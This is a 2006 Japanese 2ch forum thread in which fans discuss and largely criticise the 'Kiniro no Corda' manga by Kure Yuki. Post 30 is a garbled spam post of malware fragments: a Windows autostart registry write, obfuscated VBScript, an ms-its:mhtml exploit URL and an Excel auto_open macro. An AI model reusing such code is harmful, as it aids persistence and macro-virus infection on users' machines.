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☆★金色のコルダ★☆呉由姫 =part19=

1 :星奏学院音楽科2年A組ピアノ専攻:2006/11/30(木) 17:20:57 ID:???0
呉由姫さんの作品をマターリ語りましょう。 

・ネタバレ解禁は本誌発売日(24日)の正午から。 
・まだ漫画化されていない部分のゲームのネタバレは控え目に。 
・ネタバレする場合は、件名に「※ゲーム話」、本文は改行必須。 
 (メール欄でのネタバレは2ch専用ブラウザから丸見えになるので禁止) 
・アニメの話はほどほどに。 
・次スレ立ては970。 


・前スレ 
☆★金色のコルダ★☆呉由姫 =part18= 
http://comic6.2ch.net/test/read.cgi/gcomic/1163950150/ 

・ゲームに関しては女向ゲー一般のスレへ 
乙女@【金色の】金色のコルダ30【(゚Д゚)ゴルァ!!】 
http://game9.2ch.net/test/read.cgi/ggirl/1164538416/ 

・アニメに関してはアニメのスレへ 
金色のコルダ〜primo passo〜 7弦目 
http://anime.2ch.net/test/read.cgi/anime/1164292558/ 

・アニメのネタバレはアニメサロンのスレへ 
【ネタバレ】金色のコルダ〜primo passo〜 
http://anime.2ch.net/test/read.cgi/asaloon/1159879868/ 


2 :花と名無しさん:2006/11/30(木) 17:33:58 ID:???0
>>1
1秒ごとに乙!

その名前欄、>>1さんはもしや…

3 :花と名無しさん:2006/11/30(木) 17:47:41 ID:???0
1乙なのだ!

4 :花と名無しさん:2006/11/30(木) 18:19:27 ID:???0
>>1
乙かLen Tsukimori!!!!

5 :花と名無しさん:2006/11/30(木) 18:50:46 ID:???0
>>1
森さん、ありがとう

6 :花と名無しさん:2006/11/30(木) 18:55:13 ID:???0
>>1
乙きもりれん!

7 :花と名無しさん:2006/11/30(木) 19:08:44 ID:???0
>>1乙、
さすが森さん、男前だw

8 :花と名無しさん:2006/11/30(木) 19:28:39 ID:???0
>>前スレ999
呉さんは面倒くさいなんて発言はしたこと一度もない。
画面など見ても、手抜きをしているわけじゃないと思う。
どっちかというと一生懸命やってても実力が追いついていないように見える。

9 :花と名無しさん:2006/11/30(木) 19:32:38 ID:???0
でも呉さんいいかげんじゃん

10 :花と名無しさん:2006/11/30(木) 19:40:31 ID:???O
いい加減というか……いい加減に汁って感じかな
アニメで学んでくれるといいんだけど。
来月号でも香穂子が今月みたいな感じなら学んだんだな、と思うよ私は。

11 :花と名無しさん:2006/11/30(木) 19:50:51 ID:???0
>>9
どこがいい加減?
日本語の解釈、間違ってないかい?

12 :花と名無しさん:2006/11/30(木) 19:51:18 ID:???0
>>8
やってる事が真面目でも、真面目に見えなければ
人から見ればいい加減と評価される。
それが大人の世界だよ。

13 :花と名無しさん:2006/11/30(木) 19:54:33 ID:???0
投げっぱなしエピが多いからいい加減て評価されるんだろ
結局、長期連載やるには構成力が足りないということなんだが

14 :花と名無しさん:2006/11/30(木) 19:56:19 ID:???0
絵が丁寧に描いてあればいい加減じゃないとは言えないものね。
イラストレーターなら、それでもいけるかもしれないが。


15 :花と名無しさん:2006/11/30(木) 20:01:47 ID:???0
構成力が足りないこと、平たく言って実力不足と仕事を
いい加減にするのとは全然別次元の話だと思うが。

少なくとも、私は今まで呉さんの仕事ぶりにいい加減な
ところを感じたことはないな。
どっちかというと真面目過ぎるほど真面目って感じ。

16 :花と名無しさん:2006/11/30(木) 20:01:56 ID:???0
イラストレーターって人体があの有様でもなれるものなのか

17 :花と名無しさん:2006/11/30(木) 20:04:09 ID:???0
>>15
同意

見当はずれの叩きは読んでて見苦しいね

18 :花と名無しさん:2006/11/30(木) 20:04:20 ID:???0
前スレ1000、GJ!

>1000 花と名無しさん sage 2006/11/30(木) 19:07:43 ID:???0
>>>993
>激しく乙。ありが・!
>ついでに1000だったら、コルダはこれから生まれ変わる!!

19 :花と名無しさん:2006/11/30(木) 20:04:38 ID:???0
まあ、ここにいるのは脳内一流漫画家ばかりだからな

20 :花と名無しさん:2006/11/30(木) 20:08:14 ID:???0
>>15
最近持ち直してきたが、萌えネタの羅列だった頃は
真面目にストーリー考えてるのか疑問ではあった。

21 :花と名無しさん:2006/11/30(木) 20:19:34 ID:???0
最近っていうか、自分は今月号は持ち直したかな、と思ったくらいだな
先月の話はカットで、今月のをやってもよかったんじゃ…とは思ったし

22 :花と名無しさん:2006/11/30(木) 20:25:30 ID:???O
>>1タン乙かれん

しかしスレタイのコルダが半角だから検索に引っ掛からんかも
次スレからはまた全角でヨロですノシ

23 :花と名無しさん:2006/11/30(木) 20:32:01 ID:???O
スレタイの☆をいい加減取って欲しいというか、どうにかして欲しいというか

24 :花と名無しさん:2006/11/30(木) 20:34:51 ID:???O
いや、スレタイの☆は5個にしてほしいが。

25 :花と名無しさん:2006/11/30(木) 20:38:14 ID:???O
ステラクインテットか

26 :花と名無しさん:2006/11/30(木) 20:38:38 ID:???0
>>22
ごめん。
前スレにあった天麩羅もらったんだけど、そこまで見てなかった。
次スレで修正頼みます。

27 :花と名無しさん:2006/11/30(木) 20:39:19 ID:???0
☆★金色のコルダ★☆呉由姫& =part18=★

月土        火木             水


こんな感じ?

28 :花と名無しさん:2006/11/30(木) 20:41:16 ID:???O
>>21
自分も同じ感じだ、12月号の内容はほとんど覚えてないよ

前スレで出てた、合宿編で香穂子が男らの部屋に入った云々は、
今まであまり男女どうこう考えたことがなかったんだろうな程度だった

当時あれにどう反応があったかは知らないけれど、自分がその程度しか
考えなかったのは多分本編が面白かったからだと思う
今でも合宿編は一番好きなエピだからさ

これだけ細かく突っ込まれるようになったのは、やっぱりメインエピの描写の甘さに
あるんじゃないかなと個人的には思ってるよ

29 :花と名無しさん:2006/11/30(木) 20:44:59 ID:???0
>>28
本編が面白ければ、その感想や今後の予想・期待なんかが
多くなるだろうしね

30 :<body onload=window()>:2006/11/30(木) 21:19:52 ID:???0
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"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

31 :花と名無しさん:2006/11/30(木) 21:26:19 ID:???0
>>21
先月号読まなくても困らないような展開だったもんな
逆に1、2号読み飛ばしたか?と不安に思う程急展開する時もあるけど

32 :花と名無しさん:2006/11/30(木) 22:11:08 ID:VCHkzcIC0
>>1-31
お前ら呉さん並にいい加減だな。


33 :花と名無しさん:2006/11/30(木) 22:16:16 ID:???0
7巻買って来たぜ ( ´∀`)

表紙・・・月森目つきわるっ!
そしてドキドキしながら目次を見る・・・頼むから4章収録はやめろよ・・・
ガーン見事に4章収録でした しかも読みきりは音楽ものじゃなさそう ><

8巻も4章収録かねこの調子だと・・・

34 :花と名無しさん:2006/11/30(木) 22:20:21 ID:???0
>>33
乙ー実は自分7巻の読みきり読んでな(ry

8巻はどうなるんだろうなぁ、まだ未収録の読みきりたくさんあるのかな?
今は売り時だと言わんばかりに、4話溜まったらまたすぐコミクス化するかもしれんよね
今月号までで3話溜まってるから、2月くらいにはもう発売したりして…

35 :花と名無しさん:2006/11/30(木) 22:29:33 ID:???0
どうせなら、作家が売れてから短編まとめて一冊で出しちゃえばいいのにね。
表紙だけ今の絵で。



36 :花と名無しさん:2006/11/30(木) 22:33:26 ID:???0
このマンガって、ゲームしてない人でも楽しめますか?

37 :花と名無しさん:2006/11/30(木) 23:01:06 ID:???0
ゲームしてなくても読めることは読めると思う
楽しめるかどうかは分からないけど
読むのだったら、B級漫画だと覚悟してからどうぞ

38 :花と名無しさん:2006/11/30(木) 23:11:56 ID:???0
連載をもったことのない作家が、用意された舞台とキャラ設定(性格など)で描いている、
ということを念頭におくと、いいかも

39 :花と名無しさん:2006/11/30(木) 23:20:30 ID:???O
>キャラ設定(性格など)
待て待て待て
基本は確かにそうだがなんか納得行かない

40 :花と名無しさん:2006/11/30(木) 23:32:19 ID:???0
呉さんインタビューのページがあった
ttp://www.hakusensha.co.jp/mangaq9902/30_kure/interview/index.html

千葉県出身・・・我が郷里ではないか、応援してるぞ

41 :花と名無しさん:2006/11/30(木) 23:47:02 ID:???0
そもそもキャラデザ呉さんだもんな…
設定に行動の味付けしてるのも呉さんだし。
流石に少々語弊あるかもな。

42 :花と名無しさん:2006/11/30(木) 23:48:07 ID:???0
>>39
んー、じゃあキャラ設定(家族構成など)かな。


43 :花と名無しさん:2006/11/30(木) 23:52:07 ID:???O
肝心の主人公は元々キャラ設定なんか無いしな

44 :花と名無しさん:2006/11/30(木) 23:55:03 ID:???0
いつのまにかアンチスレみたいになってるのは何故?
まあ、どれももっともな意見なんだけど

45 :花と名無しさん:2006/12/01(金) 00:16:24 ID:???O
>>43
香穂子の兄と姉とかもいらない設定だよね。たいして使われるわけでもないしさ

>>44
行きすぎた批判もあるけど納得できる意見が多数だからなんとも、ね
本当は今月もよかった!呉さんGJ!な会話をしたい人がほとんどじゃないかな。
(漫画の展開がよろしくないので)したくても出来ないだけでorz

46 :花と名無しさん:2006/12/01(金) 00:29:13 ID:???0
今月号はわりと良い感想もあるんじゃないか?
絵の突っ込みは多いけどorz

先月号は…どうだったっけ

47 :花と名無しさん:2006/12/01(金) 00:38:34 ID:???0
先月は…マックだもんなぁ…あれはボミョンかも

今月は2発表もあったし違う意味であちこち盛り上がってるのもあるんじゃないか
個人的には嫌いじゃないが

48 :花と名無しさん:2006/12/01(金) 01:01:04 ID:???O
誰か今月号のコルダ
詳細キボンヌ。

49 :花と名無しさん:2006/12/01(金) 01:01:46 ID:???0
>>48
早売りスレのバレ見ておいで

50 :花と名無しさん:2006/12/01(金) 01:02:12 ID:???0
ここはネタバレ桶?

51 :花と名無しさん:2006/12/01(金) 01:03:51 ID:???0
ゲームのネタバレなら>>1に書いてあるとおりだよ

52 :花と名無しさん:2006/12/01(金) 01:13:20 ID:???0
こんな物を見つけますた
ttp://www.7andy.jp/books/detail?accd=08248146

53 :花と名無しさん:2006/12/01(金) 01:40:32 ID:???0
・・・何? 普通に買うのとどこか違うのか?

54 :花と名無しさん:2006/12/01(金) 07:25:04 ID:???0
>>45
良い感想で盛り上がれるなら盛り上がりたいものだよね・・・
以前はそういうこともあったんだし

55 :花と名無しさん:2006/12/01(金) 09:58:16 ID:???O
今までにスレが一番盛り上がったのが柚木の押し倒し?
ならやっぱり読者はああいうのを期待してるのかと思ってしまうのだが…

56 :花と名無しさん:2006/12/01(金) 10:14:42 ID:???0
アニメのネタバレスレ見るとあれはイヤだったという意見も多いけど

57 :花と名無しさん:2006/12/01(金) 10:16:41 ID:???O
あれはあざとかったと思う…

58 :花と名無しさん:2006/12/01(金) 11:34:34 ID:???O
>>56
柚木スレではアニメでもやって欲しいって書き込みあるから
萌えた人もたくさん居たんだろうなと…

59 :花と名無しさん:2006/12/01(金) 11:43:59 ID:???O
柚木の押し倒しじゃなくて、黒柚木降臨の回だったと思う。
本スレでも反響は良かった気が

60 :花と名無しさん:2006/12/01(金) 11:54:23 ID:???0
ゲームから入ってアニメ、漫画と来た者だけど
漫画の黒柚木降臨はものすごく演出がいいと思ったよ
自分はコミックスで読んだんだけど、本誌の大きさで読んだらきっと
すごいインパクトだったんだろうな

61 :花と名無しさん:2006/12/01(金) 12:20:29 ID:???O
本誌で途中から読んでたけど、コミクス買うきっかけになったのが黒柚木降臨だったよ
火原自覚のときや、香穂子が普通のヴァイオリンを弾いたときの表情みたいに
最後に持ってくる表情はけっこう良いと思う

今月号ラストの香穂子はなんであんなことになってしまったんだ…

62 :花と名無しさん:2006/12/01(金) 14:31:51 ID:???0
やっぱり上唇の描き方じゃない?
ニヤリと笑ってるように見えてちょっと恐かったよw

63 :花と名無しさん:2006/12/01(金) 14:43:18 ID:???0
http://sylphys.ddo.jp/upld2nd/neta/src/1164742201845.jpg

64 :花と名無しさん:2006/12/01(金) 18:48:30 ID:???O
唇の描き方元に戻して欲しいよ

65 :花と名無しさん:2006/12/01(金) 18:48:58 ID:???O
肩幅を…

66 :花と名無しさん:2006/12/01(金) 18:52:42 ID:???O
足を…

67 :花と名無しさん:2006/12/01(金) 19:01:01 ID:???0
首の太さを…

68 :花と名無しさん:2006/12/01(金) 19:03:01 ID:???O
胴を…

69 :花と名無しさん:2006/12/01(金) 19:07:53 ID:???0
体のバランスを…

70 :花と名無しさん:2006/12/01(金) 19:09:55 ID:???0
まつげー

71 :花と名無しさん:2006/12/01(金) 19:54:52 ID:???0
ストーリーを…

72 :花と名無しさん:2006/12/01(金) 19:55:40 ID:???0
演出を

73 :花と名無しさん:2006/12/01(金) 20:09:16 ID:???0
描き分けを…

74 :花と名無しさん:2006/12/01(金) 20:15:03 ID:???0
全部じゃねーかw

75 :花と名無しさん:2006/12/01(金) 20:20:04 ID:???O
文字通り目も当てられんなw

たまには好きなシーンとかコマとかの話はどうかね
自分はダントツで22楽章扉の火原
あの格好良さは異常な程だった

76 :花と名無しさん:2006/12/01(金) 20:21:13 ID:???O
髪の描き方は今のままでイイヨ

でも長さは統一してね(・∀・)


77 :花と名無しさん:2006/12/01(金) 20:35:32 ID:???O
>>75
自分は21楽章の寝起き志水が最強。
ひよこTシャツ似合いすぎw

78 :花と名無しさん:2006/12/01(金) 20:37:48 ID:???0
今度アニメでやる回の閉じ込められた月森がぐっ、とするところと
弾く理由か…みたいな感じでヴァイオリンを見つめてるとこはすき

79 :花と名無しさん:2006/12/01(金) 20:40:57 ID:???O
土浦単品の扉…何楽章だったっけorz

>>78
ぐっとしてる表情、自分も好きだ
あまり見られないだけになおさら

80 :花と名無しさん:2006/12/01(金) 20:49:37 ID:???O
土浦ピンの扉って28楽章かな?7巻の一番初めの。

22楽章の「土浦くんは違うじゃない」って言ってる香穂子の太ももが好き

81 :花と名無しさん:2006/12/01(金) 20:51:03 ID:???0
月森は感情がないクールな表情より
感情が素直に出てるときの方がなんかイイよね

82 :花と名無しさん:2006/12/01(金) 20:57:59 ID:???O
>>80
最近見た記憶があるから多分それかな
ああいうタッチのも描けるんだなと感動した記憶がある

月森は普段感情をコントロールしてる感じだから、
感情が表に出たときはいつも余裕なくて幼くなるなあと

83 :花と名無しさん:2006/12/01(金) 21:02:27 ID:???0
南楽器で土浦ピアノ経験者発覚のあたりと、
1セレで香穂子と土浦の別れの曲のシーンが好き。
あと上の南楽器の回の、火原と柚木の「Gパン駄目?」のやり取りがなんか好き。
2セレ後の王崎先輩登場シーンも癒される感じで好きだなぁ。

所々印象的なシーンはあるんだけどな。呉さんガンガッテくれ…

84 :花と名無しさん:2006/12/01(金) 21:31:50 ID:???0
月森がぐっとするところやカルテットの時のちょい笑顔、
1セレの香穂子と土浦の別れの曲が好きだ
最終セレでは1セレ以上に印象的な演出を期待したいところだけど…

あと上で出てたけど、黒柚木降臨の見開きもインパクト大だった

85 :花と名無しさん:2006/12/01(金) 21:35:37 ID:???0
>>83
おまいは私かwwってくらい好きな所かぶってるvドーーイ

好きな表紙、というか印象的なのに第27楽章の表紙がある。
26楽章→27楽章に移るあの流れ方は上手いなあと思うし
(ストーリーは別にして)、何かこう手が…左の手が妄想を誘って…


86 :花と名無しさん:2006/12/01(金) 21:44:58 ID:???O
>>80
え、太ももなの?w

87 :花と名無しさん:2006/12/01(金) 21:59:51 ID:???0
>>85
おまいはまさか、あの手=月森にケテーイしていると言っていた人かw

…少なくとも自分はそうだがw

88 :花と名無しさん:2006/12/01(金) 22:17:20 ID:???O
>>86
スカートのよれ具合と太さが好みだったんだよw

あと30楽章の土浦が「知りませんよ俺は何も」の次のコマ柚木
「あ?」って顔しててなんか好き

89 :花と名無しさん:2006/12/01(金) 23:27:22 ID:???O
>>85
俺は土浦だと思ってた

なんか漫画の月森はツンツンだし、土浦と漫画のほうはうまくいってる気がする
漫画は土浦の話がインパクト強かったからなぁ
月森メインの話がなんか物足りなかった感がある


90 :花と名無しさん:2006/12/01(金) 23:54:44 ID:???0
アニメDVDのジャケ絵観たけど、キャラごとにしっかり体格描き分けてるね
女キャラは(絵に関して)色気を出すよう意識してるそうだし、
呉さんにも頑張ってほしい

>>89
月森メインのときは、黒柚木と交互に展開されてたんで
いろいろとイライラさせられた記憶があるw

91 :花と名無しさん:2006/12/01(金) 23:58:12 ID:???0
>>89
あれで、うまくいってるようにみえるの?
香穂子、ずっと土浦放置してた気がする。

92 :花と名無しさん:2006/12/02(土) 00:08:55 ID:???0
今号1回読んで放置してたんだけど、
今読み返してみたら、予告カット金やんなんだね。

来月号、火原の心配ばっかりじゃなくて出番あるといいなorz

93 :花と名無しさん:2006/12/02(土) 05:55:03 ID:???0
>>92
予告の金やん嬉しかったよ!
火原に対しては、少しでも浮上の手助けする展開になったらいいな…と。
ただ心配しただけ、っていうのにならないように…ナムナム

94 :花と名無しさん:2006/12/02(土) 09:06:12 ID:???0
アニメの土浦は感じ良いよなあ。人気あるのもわかる。
しかめっ面しないし押し付けがましくない面倒見の良さがあるし。
月森への態度はデフォだから仕方ないとしてもw
漫画ベースのはずなのに何でこう違うんだろう。

95 :花と名無しさん:2006/12/02(土) 10:11:11 ID:???0
ちょっと個性の付け方が極端なんじゃないかな
土浦に限らないけど

96 :花と名無しさん:2006/12/02(土) 11:26:13 ID:???0
>>95
月森ならツン、志水なら常に眠いみたいのが強調され過ぎてて
他の面が描かれることもあるのに印象が薄い…っていうのは感じるなぁ

97 :花と名無しさん:2006/12/02(土) 11:35:40 ID:???0
月森のよさはツンだけじゃないのになー

98 :花と名無しさん:2006/12/02(土) 12:00:05 ID:???0
火原は人懐っこいのを強調しすぎてガキっぽくなってるし…

99 :花と名無しさん:2006/12/02(土) 12:10:58 ID:???O
で、柚木も黒さが違う方向へと…

100 :花と名無しさん:2006/12/02(土) 12:20:56 ID:???0
違う方向どころか、最近は黒化した意味がなくなってる

101 :花と名無しさん:2006/12/02(土) 13:07:05 ID:???0
自分も意味を感じない>黒柚木
設定倒れっていうか…そもそも黒化した理由がよく分からない

102 :花と名無しさん:2006/12/02(土) 13:12:05 ID:???0
かほちゃんを脅すためじゃないの?

そこまで脅威な存在とは思えないけど

103 :花と名無しさん:2006/12/02(土) 13:24:08 ID:???0
1セレ最下位の香穂子脅すって、ずいぶん小物だなって感じたなぁ
2セレで2位の後なら分かるけど

104 :花と名無しさん:2006/12/02(土) 13:30:36 ID:???0
アニメの方、それで黒柚木発動を後回しにしたんだろうね。
またまたアニメに補完されちゃってるよ呉サン・・・

105 :花と名無しさん:2006/12/02(土) 13:47:10 ID:???0
2セレ後に黒降臨の方が理由がわかりやすいし
月森エピもぶった切らなくて一石二鳥だよね…。

106 :花と名無しさん:2006/12/02(土) 14:47:48 ID:???O
第二セレ後に黒柚木降臨だと、火原自覚と同時進行になるから
3Bコンビで対比もされるし、まとまってて良いよね

あんなに月森を煽っていた柚木は、棄権したことに対してどう思ったんだろうな
香穂子と土浦以外は真相知らないんだっけ?
なんか中途半端だったなあと

107 :花と名無しさん:2006/12/02(土) 15:04:03 ID:???0
自分は、香穂子と金やんの会話から
金やんには監禁事件のこと説明したように思ったんだけど…

なのに眼鏡ご一行の処分の話が出てこないから
余計に後味が悪く感じたよ

108 :花と名無しさん:2006/12/02(土) 15:28:49 ID:???0
>>107
すまん、コンクール参加者の中で…というつもりで書いてた<香穂子と土浦以外
月森は誰かに言うことないだろうしな

アニメでは明日放送か…どうなっているのやら

109 :花と名無しさん:2006/12/02(土) 15:43:43 ID:???0
アニメEDの記事目当てに新聞買ったけど、
そこに呉さんのジャケ絵もカラーで載ってたよ
中の人たちがジャケ絵と同じ配置でポーズ取ってて
なんか不思議な感じだったw

呉さん、どうやって香穂子を最終セレに出すよう持っていくんだろう

110 :花と名無しさん:2006/12/02(土) 16:13:56 ID:???O
元カノより何より、それが一番心配だよ

111 :花と名無しさん:2006/12/02(土) 16:38:26 ID:???0
>>108
107だけどこっちこそ勘違いしてた、ごめん

元カノ話より普通のヴァイオリンでの練習シーンを先に読みたいんだけど、
今までの豚切り具合を見てると後回しにされるかも…という不安が…

112 :花と名無しさん:2006/12/02(土) 17:02:24 ID:???0
こうもぶつ切りが続くのって、
構成とか練らずに行き当たりばったりで描いてるんだろうか

113 :花と名無しさん:2006/12/02(土) 17:21:21 ID:???0
そうじゃないか?
描きながら次のポイントを決めて、そのための伏線代わりに
番外っぽいのを1回挿入=次へ繋ぐって感じに見えるよいつも

114 :花と名無しさん:2006/12/02(土) 17:24:20 ID:???0
その号の話しか考えてないんじゃ…と感じる時が自分はある
先月号なんか読んでると、行き当たりばっかり感が払拭できないよ

115 :花と名無しさん:2006/12/02(土) 17:25:04 ID:???0
言われてみれば前回は予告編みたいなものだったな

116 :花と名無しさん:2006/12/02(土) 17:29:29 ID:???0
先月号は、土浦の元カノを出すための準備と
火原が香穂子→月森なのか気になって月森に聞いてみた

以外何もなかったような…
火原のあの様子だと、月森に聞いた意味まったくなかったように思えたけど

117 :花と名無しさん:2006/12/02(土) 17:36:45 ID:???0
ひとつひとつのエピが使い捨て放置なんだよね
上で出てる黒柚木とかさ
ストーリー中における必然性もなく適当に詰め込んでるみたいだ

118 :花と名無しさん:2006/12/02(土) 17:55:46 ID:???0
>>116
元カノ登場は、先月号の描写がなくても特に変わりがないような…

今月、月森が思い出したのが柚木じゃなくて火原だったら
一緒にファーストフードの意味もあったかもしれないと思ったよ

119 :花と名無しさん:2006/12/02(土) 18:00:09 ID:???0
使い捨て放置かぁ…
黒柚木はゲームで黒に変わるので変えました、くらいしか伝わってこない
アヤノは今何してるんだろ、雅は?
香穂子は庄司さんとのやり取りを覚えているのかな
月森を閉じ込めた音楽科の連中はどうなったんだ
二人とも毎日学校に来てるんだからすれ違っててもおかしくないよね
南楽器のオジサンは今…?
森さん第三セレ期間放置されてるよ

という状態か

120 :花と名無しさん:2006/12/02(土) 18:02:22 ID:???0
金やん志水冬海あたりはずっと放置されっぱなしみたいなもんだしな

121 :花と名無しさん:2006/12/02(土) 18:37:02 ID:???0
>>116
月森に聞いたのは月森→香穂子の気持ちがあるか、ってことで
もともと気にしてた香穂子→月森疑惑の解消にはならないんじゃないの?

122 :花と名無しさん:2006/12/02(土) 18:39:43 ID:???0
少なくとも月森から香穂子への関心が薄ければ
ちょっとあ安心するんじゃないかな

わからんか

123 :花と名無しさん:2006/12/02(土) 18:44:46 ID:???0
>>121
うん、だから意味なかったーと思って
あれで>>122のように捉えてちょっとは前向きになったかと思いきや相変わらずだし

124 :花と名無しさん:2006/12/02(土) 18:48:45 ID:???0
香穂子がもし月森が好きでも、月森にその気がないなら
自分にもまだチャンスが…みたいな?

125 :花と名無しさん:2006/12/02(土) 19:06:05 ID:???0
アニメに比べると漫画は冬海ちゃんの存在感が薄い

126 :花と名無しさん:2006/12/02(土) 19:08:08 ID:???0
月森は、自覚させたらいろいろ凄いからなぁ

127 :花と名無しさん:2006/12/02(土) 21:24:19 ID:???0
>>125
冬海ちゃんに限らん

128 :花と名無しさん:2006/12/02(土) 21:54:57 ID:???0
何にせよ、全てはこれからだな
てかもう最終セレなのにやる事が多いな…
呉さんはあれか?自分を追い詰めて才能を発揮するタイプか?
いやいやこの瞬間を待ってたよ呉さん!あっはっはっはっ



orz

129 :花と名無しさん:2006/12/02(土) 21:55:19 ID:???0
おいおいw

アニメネタバレスレにも書かれていたけど、
第二セレで月森が演奏した後、香穂子と目が合ったと思ってた人、
思ってなかった人ってどれくらい居るんだろう?

明日のアニメではどっちになるのか気になるところだ

130 :花と名無しさん:2006/12/02(土) 22:07:38 ID:???0
>>129
自分は今月号読んで、ナンダッテーと叫んだ派
目が合ったものだと思ってたよ

最終セレはアニメの方が先にやるわけだよね
というか、3セレ後は完全オリジナル展開かもしれないから
アニメと漫画でどんな風に違うコルダが見られるのか楽しみだ

131 :花と名無しさん:2006/12/02(土) 22:26:21 ID:???0
今の出来ならアニメの方が期待出来る…
ファンが何を喜ぶか、というより何を嫌がるかを分かってるようだから

132 :花と名無しさん:2006/12/02(土) 22:53:58 ID:???O
>>129
目が合っていないどころか気付いてすらいなかっただろう派

だって見られてるなんてわかったなら、やつが動揺しない訳ない


呉さんてキャラをパニクらせるの好きだよなぁ…

133 :花と名無しさん:2006/12/02(土) 23:05:44 ID:???0
>>131
自分もそっちのが大事なんだなぁと思うようになったよ<何を嫌がるか
削られてたものと補完されたものを並べると「…」だもんなー

>>132
言われてみればそうか…少なくとも香穂子とは目が合ってると思ってたんだ
香穂子の「!」がその瞬間だとw

134 :花と名無しさん:2006/12/02(土) 23:08:36 ID:???0
>>133
自分もその!の時に目が合ったんだと思ったよw

135 :花と名無しさん:2006/12/03(日) 00:37:59 ID:???0
>>133
自分もそう思った〜

136 :花と名無しさん:2006/12/03(日) 01:13:39 ID:???0
目が合っていなかったんなら香穂子は何を思って(気づいて)「!」だったんだろう

137 :花と名無しさん:2006/12/03(日) 01:49:53 ID:???0
>>136
演奏終わった後の月森の表情を見て…かなぁ?
あれがどういう表情だったかと聞かれても何とも答え難いが

138 :花と名無しさん:2006/12/03(日) 02:35:01 ID:???O
>>129
自分も月森と目があったと思ってたよ。でもその後何ごともなくスルー
されてて、あれ?と感じたw
まぁ確かにあの時月森が香穂子と月森母に気が付いてたらそりゃ動揺
するよねw

139 :花と名無しさん:2006/12/03(日) 02:39:45 ID:???0
月森が真正面を見据えてるような表情だったし、勘違いするなって方が無理w
つか香穂子たちに気づいてなかったんなら、どうして月森はあんな顔してたんだ?

140 :花と名無しさん:2006/12/03(日) 02:41:27 ID:???0
さぁ・・・
作者考えてなさそう

141 :花と名無しさん:2006/12/03(日) 06:29:18 ID:???0
>>136
鐘が鳴ったから…?

142 :花と名無しさん:2006/12/03(日) 07:26:26 ID:???O
警鐘のことかーー!w

143 :花と名無しさん:2006/12/03(日) 07:34:29 ID:???0
ああ。あの警鐘ってもしかして

とりあえず、魔法のヴァイオリンとか何もかも忘れて弾こう→逃避
 →月森の演奏を聞く→やべ。やっぱ魔法のヴァイオリンやべぇだろ

ってことだったんだろかw

144 :花と名無しさん:2006/12/03(日) 07:35:09 ID:???O
警鐘w

アニメスタッフはどう解釈してたんだろうね
同じように目が合ったと勘違いして作ってたんだとしたら…

145 :花と名無しさん:2006/12/03(日) 08:17:15 ID:???O
>>143
ワロタw
その後のモノローグによれば、月森のステージに対するプライドに
ショックを受けたみたいだけどな…自分には何もないって、
自分には実力もプライドもありませんということか

あの後、婚約者騒動が入ったからすっかり霞んでしまった印象
火原自覚の回でまた回想はしてるけどね

あと、小さいコマだけど香穂子がヴァイオリンケースを
グランドピアノの上に置いてるのが少々気になった

146 :花と名無しさん:2006/12/03(日) 09:48:20 ID:???O
つくづく、構成で損してるな…

147 :花と名無しさん:2006/12/03(日) 09:59:05 ID:???0
構成下手なのもあるんだろうけど
明らかにストーリー上っ面しか考えてなくて場当たり的。
時間かけて考えてるとは思えないんだよな。

148 :花と名無しさん:2006/12/03(日) 10:12:11 ID:???O
テンプレの人だからなあ
読み切りならそれで描けても長編連載は手に余るんだろうか

149 :花と名無しさん:2006/12/03(日) 10:21:01 ID:???0
もはや次回作に期待…すればいいのかも知れないけど、
コルダが好きだからがんばって欲しい。

ダラダラ延ばして軌道修正されてくのと、サっと終わるのどっちがいいんだろう。

150 :花と名無しさん:2006/12/03(日) 10:26:04 ID:???0
取りあえず終わったほうがいいんでない?
ここまできて軌道修正は上手い人でも無理ぽ
んでじっくり全体の構成を決めてからやればまだ形になると思う
つか、上手い人でも行き当たりばったりで描いてて上手い人なんていないだろう

151 :花と名無しさん:2006/12/03(日) 10:30:35 ID:???O
延ばすにしてもホスト部みたいに面白いなら続けてもいいと思うけど…
コルダは週間連載?って思うくらい一話に内容がないように思える
短期集中連載のほうが良かったんじゃないかな
土浦メインの時の呉さんの話とかすごい好きだった
ベタだったけど見せ場とか良かったと思う

152 :花と名無しさん:2006/12/03(日) 11:06:57 ID:???O
ホストは基本的に1話完結だから引き延ばしも不自然じゃないがコルダは違うしなー

153 :花と名無しさん:2006/12/03(日) 14:48:51 ID:???0
繰り返しになるけど2セレまでは面白かったんだ…
2セレ以降はなにが主なのかさえわからんちんで
キャラがでてるだけでなにが言いたいのかさっぱりな回が多かったんだ
うん

154 :花と名無しさん:2006/12/03(日) 14:56:01 ID:???0
自分は合宿までだなー
その後は別のテーマでというか別のスタンスの漫画になったように感じる
1セレの別れの曲のエピみたいなのを自分はもっと読みたかったし
最終セレでは少しでもその頃に戻って欲しいと思ってる

155 :花と名無しさん:2006/12/03(日) 15:06:26 ID:???0
自分も合宿までだ
合宿以降は酷い

156 :花と名無しさん:2006/12/03(日) 15:26:14 ID:???0
同じく合宿編までかなー
そこまでは本当によくできてたと思う
今は、呉さんどうしちゃったんだろうと心配になるくらい
話と話がつながってない気がする

157 :花と名無しさん:2006/12/03(日) 15:28:33 ID:???0
今はもう支離滅裂になっちゃってるね
柚木邸に行った辺りから本当にもうなにがなんだか訳が分からなくなってる

158 :花と名無しさん:2006/12/03(日) 15:37:56 ID:???0
合宿編までは自分も好きだ
月森邸に押しかけるところで火原に?となり、黒柚木の押し倒しで?となり、
婚約者騒動で…となり、第二セレで月森が閉じ込められたところでエェーとなり、
第三セレ期間で土浦のイライラし過ぎな感に?となり、
香穂子にも…もうちょっと各キャラを魅力的に描写してもらえないものか

だいたい10話ごとにセレが来てるけど、セレが進むにつれて増えていっても
いいんじゃないかと思う、それだけ抱えるもんが増えていくわけだしさ

